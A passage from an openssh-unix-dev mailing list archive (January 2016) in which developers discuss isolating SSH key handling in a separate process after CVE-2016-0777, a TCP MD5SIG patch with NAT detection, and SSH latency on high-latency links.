> only to query (search for) keys, request signing of material.

Those separations and restrictions are the really hairy part here:
Pulling out the key handling is small compared to the amount of
functionality that is e.g. X11-forwarding, agent-forwarding or
(potentially dynamic) proxy/socket-forwarding which would need to be
handled when splitting the management from the connection/terminal part.

Another potential problem is the portability problem which seccomp
poses, there is unfortunately no POSIX syscall filtering or sandboxing
API. That makes things even more complicated.

> * Let the management process suspend the terminal process and ask for key
> passphrases when needed.
> 
> * Let the management process immediately suspend the network/terminal
> process if rate of key search/sign requests exceeds limit or (if
> mathematically easily detectable) signing of problematic data is requested
> to extract e.g. DSA keys (do not know, which other key types have similar
> weaknesses). This would also protect the local keys when an agent forwarding
> was enabled (do not know, if such protection might already be in place) and
> remote side starts to create signatures en masse.
> 
> * Let the management process search keys/sign directly or ask the agent -
> minor design decision?

That should all be possible imho.



Ciao,

Alexander Wuerstlein.

From habets at google.com  Fri Jan 15 22:54:52 2016
From: habets at google.com (=?UTF-8?Q?Thomas_=E2=98=83_Habets?=)
Date: Fri, 15 Jan 2016 11:54:52 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CALDDTe1tj9CN3xbaMJSXWdZXa-rD883Dz9hj4wBmhGw24UADyg@mail.gmail.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <CALDDTe1tj9CN3xbaMJSXWdZXa-rD883Dz9hj4wBmhGw24UADyg@mail.gmail.com>
Message-ID: <CAKJ=2+wLW3W8LSGS3W5fuZ9=762=GVsVwcSwmwS5Mn+BQdE7yw@mail.gmail.com>

On 14 January 2016 at 20:57, Darren Tucker <dtucker at zip.com.au> wrote:
>> * Add "TCPMD5 foorbarSecret" to sshd_config
>> * SSH with "-oTCPMD5=foobarSecret"
> Have you considered making this a stand-alone tool?  Something that
> listens and execs sshd -i on the server side and could be used as a
> ProxyCommand on the client side.  That'd be potentially usable by
> other services.

No I hadn't. Good idea.

I think there may be some aspects you'd be missing out on (or
reimplement, or outsource to e.g. inetd), such as (account) password
brute force protection. I haven't tried it, but I suspect sshd -i
can't limit to 10 concurrent preauth sessions each getting one attempt
per second which sshd otherwise does by default.

-- 
? Thomas ?

From arw at cs.fau.de  Fri Jan 15 22:54:16 2016
From: arw at cs.fau.de (Alexander Wuerstlein)
Date: Fri, 15 Jan 2016 12:54:16 +0100
Subject: Proposal: always handle keys in separate process
In-Reply-To: <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <CAOp4FwSbRNY49_iLQ5_3G3HmyEgJvr+=85x-z6ZZsU3L1SfMWQ@mail.gmail.com>
 <CA+1ewKZau=tQ1uRMvOW1oQYnvoFR=2TE+_u=HLShHjmHtUWpvw@mail.gmail.com>
Message-ID: <20160115115416.GN6155@cip.informatik.uni-erlangen.de>

On 2016-01-15T11:23, Thomas Calderon <calderon.thomas at gmail.com> wrote:
> How about using the existing OpenSSH client's PKCS#11 support to
> isolate keying material in a dedicated process?
> 
> A similar approach, "Practical key privilege separation using Caml
> Crush", was discussed at FOSDEM'15 with a focus on
> Heatbleed [1][2] but the ideas and principles are the same.
> 
> Now this is easily done using the following available components:
>   - SoftHSM to store the crypto keys
>   - Caml-Crush server components load the SoftHSM middleware (access
> the keys) in a dedicated process
>   - SSH client loads Caml-Crush PKCS#11 middleware that connects to
> its daemon and allows to sign SSH exchange to authenticate
> 
> No patch needed.

Well, yes, that could of course work, but there is already an easier, 
existing and included-in-OpenSSH solution that does separate keying
material: ssh-agent.

My proposal was just to automate spawning it, thereby making things
transparent and easy for users. The solution you describe sounds[1] a bit
more complicated than even the current state of manually starting
ssh-agent and ssh-add-ing all keys.



Ciao,

Alexander Wuerstlein.

[1] I may be wrong there, of course

From Roman.Fiedler at ait.ac.at  Fri Jan 15 23:08:57 2016
From: Roman.Fiedler at ait.ac.at (Fiedler Roman)
Date: Fri, 15 Jan 2016 12:08:57 +0000
Subject: AW: Proposal: always handle keys in separate process
In-Reply-To: <20160115114927.GM6155@cip.informatik.uni-erlangen.de>
References: <20160114191216.GJ6155@cip.informatik.uni-erlangen.de>
 <2ECE9D9EEF1F524185270138AE23265954EE579A@S0MSMAIL112.arc.local>
 <20160115114927.GM6155@cip.informatik.uni-erlangen.de>
Message-ID: <2ECE9D9EEF1F524185270138AE23265954EE5B74@S0MSMAIL112.arc.local>

> Von: Alexander Wuerstlein [mailto:arw at cs.fau.de]
> 
> On 2016-01-15T09:53, Fiedler Roman <Roman.Fiedler at ait.ac.at> wrote:
> > > Von: openssh-unix-dev [mailto:openssh-unix-dev-
> > >
> > > Hello,
> > >
> > > in light of the recent CVE-2016-0777, I came up with the following
idea,
> > > that would have lessened its impact. Feel free to ignore or flame me,
> > > maybe its stupid or I missed something :)
> >
> > What do you think of a following procedure?
> >
> > * On startup, at first management process is created. This process is
> > somehow privileged, as it still can execute all operating system calls
> > without special restrictions. This management process may connect to an
> > agent or launch agent process by itself (if needed) to have access to
key
> > material.
> >
> > * From the management process, have network/terminal process forked,
> reexec
> > itself (thus get rid of any virtual memory information shared with
> > management process, e.g. address space layout, strings already loaded -
e.g.
> > host name, user name, config parameters, ... thus eradicating any
> > information present in the management process)
> 
> So, effectively you propose to also split up the ssh client into three
> processes.
> 
> While it sounds like a good idea in general, I think one should try the
> easier split-up into two first. For why I think it is far easier to
> first separate out the ssh-agent/key-handling, see below.

I agree. I just brought it up, so that those really deep in the code could
decide, how hard it would be to implement such a split. Perhaps there are
other things left out, that make such a model hard, if not impossible.

> > * Let management process seccomp secure the network/terminal process
> to
> > allow only file descriptor read/write operations, ..., that what is
really
> > needed but no other syscalls (especially no open/exec,.../xxxxat style
of
> > calls). Thus the terminal process efficiently loses all capabilities to
> > access key material by himself, which is enforced by the OS (this will
work
> > only on platforms, that support it, others will have to leave out this
> > step).
> >
> > * Use the socket from the network/terminal process to the management
> process
> > only to query (search for) keys, request signing of material.
> 
> Those separations and restrictions are the really hairy part here:
> Pulling out the key handling is small compared to the amount of
> functionality that is e.g. X11-forwarding, agent-forwarding or
> (potentially dynamic) proxy/socket-forwarding which would need to be
> handled when splitting the management from the connection/terminal part.

You are right, those would have to be handled too. If SCM_RIGHTS is quite
common on many SSH client platforms, two additional messages would needed on
the mgmt link: Request-Connection and the response with the file descriptor
to use. Otherwise the management process would need to do multiplexing on
the connection, which seems much more effort.
 
> Another potential problem is the portability problem which seccomp
> poses, there is unfortunately no POSIX syscall filtering or sandboxing
> API. That makes things even more complicated.

It is really bad, that quite many security features as not commonly
supported. So for a first start, perhaps just separate the processes in a
way that one of them could be seccomped (does not need to perform privileged
operations), implement seccomp (or next generation method - perhaps USERNS
will be that stable one time?) when it becomes available to masses in
standardized manner.

> [Snip] ..



-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 6344 bytes
Desc: not available
URL: <http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20160115/437e7c3a/attachment-0001.bin>

From alex at alex.org.uk  Fri Jan 15 23:07:28 2016
From: alex at alex.org.uk (Alex Bligh)
Date: Fri, 15 Jan 2016 12:07:28 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
Message-ID: <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>


On 15 Jan 2016, at 11:44, Thomas ? Habets <habets at google.com> wrote:

> On 15 January 2016 at 08:48, Alex Bligh <alex at alex.org.uk> wrote:
>>> The socket option is enabled *after* connection establishment, thus
>>> doesn't protect against SYN floods. This is because server doesn't
>>> know (in userspace) what the address of the peer is until they
>>> connect. Again because signed addresses.
>> So could they exchange a secret as part of the session, obviating
>> the need for any set up?
> 
> They could. Making it part of the protocol does expose more code to be
> vulnerable to any preauth attacks though. One of the main benefits is
> that if the remote end doesn't have the right key then the data won't
> even be parsed. IIRC this has protected OpenVPN installations with its
> tls-auth option when there's been OpenSSL and/or OpenVPN bugs.
> 
> You could, for example, set the key to SHA256(SSH session key) or
> something, since a session key is already negotiated for the
> connection. (this is just what comes immediately to mind)

I'm guessing I was thinking of something like this (designed so
neither end reveals its 'inside-NAT' IP address):

1. If configured to be on server side (default is off), server says
   "I am capable of TCP-MD5SIG, and here is the address/port pair
   I see for you", else proceeds as normal. However, prior to sending
   this it sends a TCP ECHO option (option 8).

2. If configured to be on client side (default is off), client
   examines address/port pair, and checks it against its own
   version, to detect SNAT at client side. If it wants it says
   "I am also capable of TCP-MD5SIG, and here is the address/port
   pair I see for you", else proceeds as normal. But before sending
   the response, it ensures the TCP ECHO reply (option 9) has been
   sent.

3. Server compares supplied address/port pair with what it sees
   (to detect DNAT like Amazon elastic IPs), and if they are the
   same, it waits for the TCP ECHO reply, and if it gets it
   says "Excellent, let's apply TCP-MD5SIG, here is a
   random key", and from that point on TCP-MD5SIG is applied
   both times, else proceeds as normal.

I don't see the advantage in hashing a session key (which should
be kept private) over using a random key. The random key could
be hashed with the session key I suppose if the concern was
entropy.

The idea would be for this to detect NAT (without revealing private
IP addresses) and avoid TCP-MD5SIG if it's in use, but for TCP-MD5SIG
to be off by default anyway. The reason for this is that it might not
detect middleboxen (e.g. firewalls) that effectively proxy the TCP
session or strip the packets. A couple of dummy ECHO/ECHO REPLY TCP
options are used in order to detect such stripping.

Ray Bellis did some work on analysing all the evil things NAT devices
and other middleboxen might do in a different context (DNS/UDP),
  https://www.icann.org/committees/security/sac035.pdf
and detecting NAT. There's this draft:
  https://tools.ietf.org/html/draft-bellis-behave-natpresent-00
but I don't think it got anywhere. So we are left with heuristics.

Lastly I think you are using TCP-MD5SIG aka RFC2385. This has been
obsoleted by RFC5925 (TCP-AO) though I'm not sure how wide support
that has. I suspect some of the above may be reinvention of wheels
already within RFC5925.

-- 
Alex Bligh





From alex at alex.org.uk  Fri Jan 15 23:45:41 2016
From: alex at alex.org.uk (Alex Bligh)
Date: Fri, 15 Jan 2016 12:45:41 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <1452857239.5698d79771a294.72046203@www.paypc.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <1452857239.5698d79771a294.72046203@www.paypc.com>
Message-ID: <3B711EBB-A2FF-4890-A902-33306840FF48@alex.org.uk>


On 15 Jan 2016, at 11:27, Malcolm <opensshdev at r.paypc.com> wrote:

> Quoting Alex Bligh <alex at alex.org.uk>:
> 
>> So could they exchange a secret as part of the session, obviating
>> the need for any set up?
> 
> If by set up, you mean "the rest of the SSH authentication", then surely not.
> MD5 pre-shared secrets are probably fine for "port-knocking" or even
> RST-proofing purposes, but not for authenticating SSH sessions to servers.

No not at all. I meant obviating the need for separately presharing
an MD5SIG key. Clearly this is additional to the existing authentication
and encryption and not in any way a substitution. It's designed to
prevent (e.g.) RST attacks.

-- 
Alex Bligh





From habets at google.com  Sat Jan 16 00:34:56 2016
From: habets at google.com (=?UTF-8?Q?Thomas_=E2=98=83_Habets?=)
Date: Fri, 15 Jan 2016 13:34:56 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
 <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
Message-ID: <CAKJ=2+xAscFeHp7mno=fFaOUE7S+nercrGuEu6mj5_FMCQ7evA@mail.gmail.com>

On 15 January 2016 at 12:07, Alex Bligh <alex at alex.org.uk> wrote:
> 1. If configured to be on server side (default is off), server says
>    "I am capable of TCP-MD5SIG, and here is the address/port pair
>    I see for you", else proceeds as normal. However, prior to sending
>    this it sends a TCP ECHO option (option 8).
>
> 2. If configured to be on client side (default is off), client
>    examines address/port pair, and checks it against its own
>    version, to detect SNAT at client side. If it wants it says
>    "I am also capable of TCP-MD5SIG, and here is the address/port
>    pair I see for you", else proceeds as normal. But before sending
>    the response, it ensures the TCP ECHO reply (option 9) has been
>    sent.

What is the point of the TCP ECHO?
[ah? middleboxes]

> 3. Server compares supplied address/port pair with what it sees
>    (to detect DNAT like Amazon elastic IPs), and if they are the
>    same, it waits for the TCP ECHO reply, and if it gets it
>    says "Excellent, let's apply TCP-MD5SIG, here is a
>    random key", and from that point on TCP-MD5SIG is applied
>    both times, else proceeds as normal.
>
> I don't see the advantage in hashing a session key (which should
> be kept private) over using a random key.

Are you saying the random key should be sent in the clear? Or are you
saying this negotiation should be done after the encryption has
already been established? I'll assume the latter, in which case sure,
you can have a new random key. IIRC the session key is DH-negotiated
though, which means neither side gets to *choose* the key. If the
server just chooses a "random" key it could actually be a backdoored
key. I don't see a harmful attack here, but it would allow one side of
the connection to deceive the other about how secure their connection
is, and leaking key material, even if it's only for this outer layer
of auth. Hopefully DH is also more secure in the face of passive
attackers so that *both* sides need to have bad RNG to leak the
session key as opposed to just one side.

The bigger problem here is still though that it assumes the normal
crypto negotiation has already taken place, and any security problems
with it are not helped by this MD5 signature. Compare again to port
knocking. (I consider port knocking to be the wrong implementation,
personally, since what almost all implementations do is "send a
password in the clear", but are pretending that's not what they're
doing because it's supposedly more stealthy (security through
obscurity). This is a separate topic though)

Putting the negotiation later and under crypto could make it harder to
sync exactly when to turn it on, because TCP segments may contain
partial crypto blocks and may already be sent before the setsockopt()
call on the receiver.

> The random key could
> be hashed with the session key I suppose if the concern was
> entropy.

That probably fixes the concerns I just mentioned with RNG etc.

> The idea would be for this to detect NAT (without revealing private
> IP addresses)

Except for those who do SNAT/DNAT to "bounce" a connection, where it
would leak other addresses.

> and avoid TCP-MD5SIG if it's in use, but for TCP-MD5SIG
> to be off by default anyway. The reason for this is that it might not
> detect middleboxen (e.g. firewalls) that effectively proxy the TCP
> session or strip the packets. A couple of dummy ECHO/ECHO REPLY TCP
> options are used in order to detect such stripping.

Is this assuming that a middlemox that strips MD5 would also strip
ECHO? Seems plausible to me, but I don't have the data. If this
assumption is incorrect it would break SSH through these by default,
which would be bad.

I don't have enough experience with these boxes to know if they do this.

> Lastly I think you are using TCP-MD5SIG aka RFC2385.

Yes.

> This has been
> obsoleted by RFC5925 (TCP-AO) though I'm not sure how wide support
> that has.

My crystal ball says TCP-AO will not happen. 2385 was implemented so
that Unix boxes could play BGP, so that's a *need*. But anyone who
implements 5925 will also support 2385, and it's "good enough" (heavy
quotes here, I'm not defending it), so it's not a *need* for anyone.
I'm sure someone will implement it eventually in OSS stuff of course.

It's from 2010 and I've been unable to find any spec sheet (that love
to list RFCs they support) that list 5925. I did find a brief mention
of a patch in FreeBSD[1], but it was unclear if it was just "skip this
option" handling or part of a bigger set of patches actually handling
it. Author

In my opinion 5925 implements some trivial parts of key management,
while leaving the big parts completely unaddressed. Maybe the hardest
part of crypto is key management, and TCP-AO provides a hook for some,
but just hand waves the hardest part of cryptography. Yes, it has
better hooks if application layer (e.g. SSH protocol) wants to rotate
keys, and has better replay protection for really long lived
connections (in terms of bytes). But really both of these are much
more important for a plaintext protocol than for SSH. Except for a
possible future preimage attack on MD5 TCP-MD5SIG is just fine for
SSH. (disclaimer: IANACryptographer)

In any case my patch, and the suggested external tool and your
post-encryption negotiation, are not in any way blocking future TCP-AO
implementation, and could be used in parallel. And because of OS
support, *if* we want TCP-AO then I'd say we *also* want TCP-MD5SIG.
Maybe in 20 years the latter can be dropped, if that's the case. But
today TCP-AO can't perhaps even be implemented since it's blocked on
kernel implementations.

> I suspect some of the above may be reinvention of wheels already within RFC5925.

No, my reading doesn't find anything like that. In fact it explicitly
states that "NAT breaks this" (section 9.2), so NAT is not handled.

[1] http://lists.freebsd.org/pipermail/svn-src-user/2013-March/006156.html

-- 
? Thomas ?

From alex at alex.org.uk  Sat Jan 16 01:07:06 2016
From: alex at alex.org.uk (Alex Bligh)
Date: Fri, 15 Jan 2016 14:07:06 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CAKJ=2+xAscFeHp7mno=fFaOUE7S+nercrGuEu6mj5_FMCQ7evA@mail.gmail.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
 <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
 <CAKJ=2+xAscFeHp7mno=fFaOUE7S+nercrGuEu6mj5_FMCQ7evA@mail.gmail.com>
Message-ID: <8600054A-EE4A-4A63-882A-DBE78BBA3032@alex.org.uk>

Thomas,

> Are you saying the random key should be sent in the clear?

No!

> Or are you
> saying this negotiation should be done after the encryption has
> already been established? I'll assume the latter,

Yes

> in which case sure,
> you can have a new random key. IIRC the session key is DH-negotiated
> though, which means neither side gets to *choose* the key. If the
> server just chooses a "random" key it could actually be a backdoored
> key. I don't see a harmful attack here, but it would allow one side of
> the connection to deceive the other about how secure their connection
> is, and leaking key material, even if it's only for this outer layer
> of auth. Hopefully DH is also more secure in the face of passive
> attackers so that *both* sides need to have bad RNG to leak the
> session key as opposed to just one side.

OK, I now understand why you are proposing that. So use a hash
of the DH session key and a randomly generated nonce sent in
plaintext? And then turn it on before crypto is negotiated for
the reasons you suggest.

>> The idea would be for this to detect NAT (without revealing private
>> IP addresses)
> 
> Except for those who do SNAT/DNAT to "bounce" a connection, where it
> would leak other addresses.

I don't /think/ it does. It's only

a) leaking to the client the IP address the server thinks the client has,
   which the client can already discover from the SSH_CONNECTION
   variable. This is only if the option is switched on at the server side.

b) leaking to the server the IP address the client thinks the server has,
   which is only if the option is switched on at both the server and the
   client side, and I find it difficult to see why that would be a problem.

IE if you turn it on server side, you leak something you'd leak already
if a connection fully establishes. If you turn it on both ends, the client
leaks the IP it's trying to connect to.

And of course you'd have to select a non-default option for this to
happen.

>> and avoid TCP-MD5SIG if it's in use, but for TCP-MD5SIG
>> to be off by default anyway. The reason for this is that it might not
>> detect middleboxen (e.g. firewalls) that effectively proxy the TCP
>> session or strip the packets. A couple of dummy ECHO/ECHO REPLY TCP
>> options are used in order to detect such stripping.
> 
> Is this assuming that a middlemox that strips MD5 would also strip
> ECHO?

Yes

> Seems plausible to me, but I don't have the data. If this
> assumption is incorrect it would break SSH through these by default,
> which would be bad.

It would only break such connections *IF* it were turned on on both
client and server (which I am not suggesting would be the default) AND
there was no NAT in the path AND the middlebox in question stripped
some TCP options but not others.

> I don't have enough experience with these boxes to know if they do this.

Summary of Ray's work: middleboxen do every possible bad thing under the
sun, to the extent it is inadvisable to work around the worst of them.

>> This has been
>> obsoleted by RFC5925 (TCP-AO) though I'm not sure how wide support
>> that has.
> 
> My crystal ball says TCP-AO will not happen. 2385 was implemented so
> that Unix boxes could play BGP, so that's a *need*. But anyone who
> implements 5925 will also support 2385, and it's "good enough" (heavy
> quotes here, I'm not defending it), so it's not a *need* for anyone.
> I'm sure someone will implement it eventually in OSS stuff of course.
...
> In any case my patch, and the suggested external tool and your
> post-encryption negotiation, are not in any way blocking future TCP-AO
> implementation, and could be used in parallel. And because of OS
> support, *if* we want TCP-AO then I'd say we *also* want TCP-MD5SIG.
> Maybe in 20 years the latter can be dropped, if that's the case. But
> today TCP-AO can't perhaps even be implemented since it's blocked on
> kernel implementations.

Agree

>> I suspect some of the above may be reinvention of wheels already within RFC5925.
> 
> No, my reading doesn't find anything like that. In fact it explicitly
> states that "NAT breaks this" (section 9.2), so NAT is not handled.
> 
> [1] http://lists.freebsd.org/pipermail/svn-src-user/2013-March/006156.html

OK. I admit I should have read that one more carefully.

-- 
Alex Bligh





From roland.mainz at nrubsig.org  Sat Jan 16 03:27:19 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Fri, 15 Jan 2016 17:27:19 +0100
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
 <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
Message-ID: <CAKAoaQ=22mBtrCwfk-pGeqecsGyvF8Rvqm-W6gj1rb1ixQrW3w@mail.gmail.com>

On Fri, Jan 15, 2016 at 1:07 PM, Alex Bligh <alex at alex.org.uk> wrote:
> On 15 Jan 2016, at 11:44, Thomas ? Habets <habets at google.com> wrote:
>> On 15 January 2016 at 08:48, Alex Bligh <alex at alex.org.uk> wrote:
[snip]
> 3. Server compares supplied address/port pair with what it sees
>    (to detect DNAT like Amazon elastic IPs), and if they are the
>    same, it waits for the TCP ECHO reply, and if it gets it
>    says "Excellent, let's apply TCP-MD5SIG, here is a
>    random key", and from that point on TCP-MD5SIG is applied
>    both times, else proceeds as normal.
>
> I don't see the advantage in hashing a session key (which should
> be kept private) over using a random key. The random key could
> be hashed with the session key I suppose if the concern was
> entropy.
>
> The idea would be for this to detect NAT (without revealing private
> IP addresses) and avoid TCP-MD5SIG if it's in use, but for TCP-MD5SIG
> to be off by default anyway. The reason for this is that it might not
> detect middleboxen (e.g. firewalls) that effectively proxy the TCP
> session or strip the packets. A couple of dummy ECHO/ECHO REPLY TCP
> options are used in order to detect such stripping.

Don't these extra roundtrips further increase the latency of ssh
connection setup (e.g. imagine a high-bandwidth&&high-latency satelite
link) ? ssh is already a *PAIN* in that area, killing it's usefullness
for applications like "Distributed make" because the time to setup the
connection can be much longer than the command executed on the remote
side.

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From kaleb at wolfssl.com  Sat Jan 16 07:51:04 2016
From: kaleb at wolfssl.com (Kaleb Himes)
Date: Fri, 15 Jan 2016 13:51:04 -0700
Subject: wolfSSL meet/greet with OpenSSH Devs at FOSDEM
Message-ID: <CAMB3dQXV0LHma2TsEHpLyEGfsYPmZPk1zV7G285i1Mb0B7QYXg@mail.gmail.com>

Hello OpenSSH,

wolfSSL will be at FOSDEM 2016 in Brussels on the 30th and 31st of January.
We are interested in getting together in person with any developers from
OpenSSH to talk about the recent port of wolfSSL to OpenSSH.

Please contact us at info at wolfssl.com if you are interested in setting up a
meeting.

Thank you all for your time.


Best Regards,

wolfSSL

From habets at google.com  Sat Jan 16 04:31:30 2016
From: habets at google.com (=?UTF-8?Q?Thomas_=E2=98=83_Habets?=)
Date: Fri, 15 Jan 2016 17:31:30 +0000
Subject: SSH on high latency links. Re: [Patch] TCP MD5SIG for OpenSSH
Message-ID: <CAKJ=2+w9esdcEv12CZyYkx9oVOtUujvRD7uEL1S5KpWdDFAepA@mail.gmail.com>

On 15 January 2016 at 17:26, Roland Mainz <roland.mainz at nrubsig.org> wrote:
>>> Don't these extra roundtrips further increase the latency of ssh
>>> connection setup (e.g. imagine a high-bandwidth&&high-latency satelite
>>> link) ? ssh is already a *PAIN* in that area, killing it's usefullness
>>> for applications like "Distributed make" because the time to setup the
>>> connection can be much longer than the command executed on the remote
>>> side.
>> They would, but only when this non-default option was enabled.
> OK... are there any good ideas how to mitigate the latency effect ([1]) ?

You could try mosh (https://mosh.mit.edu/).

From roland.mainz at nrubsig.org  Sat Jan 16 04:26:41 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Fri, 15 Jan 2016 18:26:41 +0100
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <A4EEF1B2-4023-4572-B503-94156AF43E4A@alex.org.uk>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
 <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
 <CAKAoaQ=22mBtrCwfk-pGeqecsGyvF8Rvqm-W6gj1rb1ixQrW3w@mail.gmail.com>
 <A4EEF1B2-4023-4572-B503-94156AF43E4A@alex.org.uk>
Message-ID: <CAKAoaQmOTeCFu4VJPmw5UUuxX40G25Sbax4BHExjOnz+X_RRTQ@mail.gmail.com>

On Fri, Jan 15, 2016 at 6:09 PM, Alex Bligh <alex at alex.org.uk> wrote:
> On 15 Jan 2016, at 16:27, Roland Mainz <roland.mainz at nrubsig.org> wrote:
>> Don't these extra roundtrips further increase the latency of ssh
>> connection setup (e.g. imagine a high-bandwidth&&high-latency satelite
>> link) ? ssh is already a *PAIN* in that area, killing it's usefullness
>> for applications like "Distributed make" because the time to setup the
>> connection can be much longer than the command executed on the remote
>> side.
>
> They would, but only when this non-default option was enabled.

OK... are there any good ideas how to mitigate the latency effect ([1]) ?

[1]=Long on my wishlist is something like a SSH3 protocol which
somehow can rival Kerberised rsh (yes, yes, I know, it's comparing
apples with pears) in connection setup latency and better handles
socket/pipe buffer boundaries (sort of |SOCK_SEQPACKET|-style) ...
(But this is now going waaaay off-topic from the original subject...
so either drop or rename subject of the thread...)

----

Bye,
Roland

-- 
  __ .  . __
 (o.\ \/ /.o) roland.mainz at nrubsig.org
  \__\/\/__/  MPEG specialist, C&&JAVA&&Sun&&Unix programmer
  /O /==\ O\  TEL +49 641 3992797
 (;O/ \/ \O;)

From alex at alex.org.uk  Sat Jan 16 04:09:09 2016
From: alex at alex.org.uk (Alex Bligh)
Date: Fri, 15 Jan 2016 17:09:09 +0000
Subject: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CAKAoaQ=22mBtrCwfk-pGeqecsGyvF8Rvqm-W6gj1rb1ixQrW3w@mail.gmail.com>
References: <CAKJ=2+yMz=N9Kfwvg_NZ_XX+b7Q9NOrbCrgwXtrqUmwv+amg+A@mail.gmail.com>
 <434970A1-A9FA-498A-AFAF-5ADF2C6597D2@alex.org.uk>
 <CAKJ=2+yp0GG525FE3j9f7aF74e6LAGvfgJhcYr_uPCkCNwLhCg@mail.gmail.com>
 <1B5B3573-E738-40AC-A113-5CEF7414C237@alex.org.uk>
 <CAKAoaQ=22mBtrCwfk-pGeqecsGyvF8Rvqm-W6gj1rb1ixQrW3w@mail.gmail.com>
Message-ID: <A4EEF1B2-4023-4572-B503-94156AF43E4A@alex.org.uk>


On 15 Jan 2016, at 16:27, Roland Mainz <roland.mainz at nrubsig.org> wrote:

> Don't these extra roundtrips further increase the latency of ssh
> connection setup (e.g. imagine a high-bandwidth&&high-latency satelite
> link) ? ssh is already a *PAIN* in that area, killing it's usefullness
> for applications like "Distributed make" because the time to setup the
> connection can be much longer than the command executed on the remote
> side.

They would, but only when this non-default option was enabled.

-- 
Alex Bligh





From hyc at symas.com  Sat Jan 16 09:35:28 2016
From: hyc at symas.com (Howard Chu)
Date: Fri, 15 Jan 2016 22:35:28 +0000
Subject: SSH on high latency links. Re: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <CAKJ=2+w9esdcEv12CZyYkx9oVOtUujvRD7uEL1S5KpWdDFAepA@mail.gmail.com>
References: <CAKJ=2+w9esdcEv12CZyYkx9oVOtUujvRD7uEL1S5KpWdDFAepA@mail.gmail.com>
Message-ID: <56997430.5040607@symas.com>

Thomas ? Habets wrote:
> On 15 January 2016 at 17:26, Roland Mainz <roland.mainz at nrubsig.org> wrote:
>>>> Don't these extra roundtrips further increase the latency of ssh
>>>> connection setup (e.g. imagine a high-bandwidth&&high-latency satelite
>>>> link) ? ssh is already a *PAIN* in that area, killing it's usefullness
>>>> for applications like "Distributed make" because the time to setup the
>>>> connection can be much longer than the command executed on the remote
>>>> side.
>>> They would, but only when this non-default option was enabled.
>> OK... are there any good ideas how to mitigate the latency effect ([1]) ?
>
> You could try mosh (https://mosh.mit.edu/).

LINEMODE works too. https://github.com/hyc/OpenSSH-LINEMODE

-- 
   -- Howard Chu
   CTO, Symas Corp.           http://www.symas.com
   Director, Highland Sun     http://highlandsun.com/hyc/
   Chief Architect, OpenLDAP  http://www.openldap.org/project/

From roland.mainz at nrubsig.org  Sat Jan 16 10:44:00 2016
From: roland.mainz at nrubsig.org (Roland Mainz)
Date: Sat, 16 Jan 2016 00:44:00 +0100
Subject: SSH on high latency links. Re: [Patch] TCP MD5SIG for OpenSSH
In-Reply-To: <56997430.5040607@symas.com>
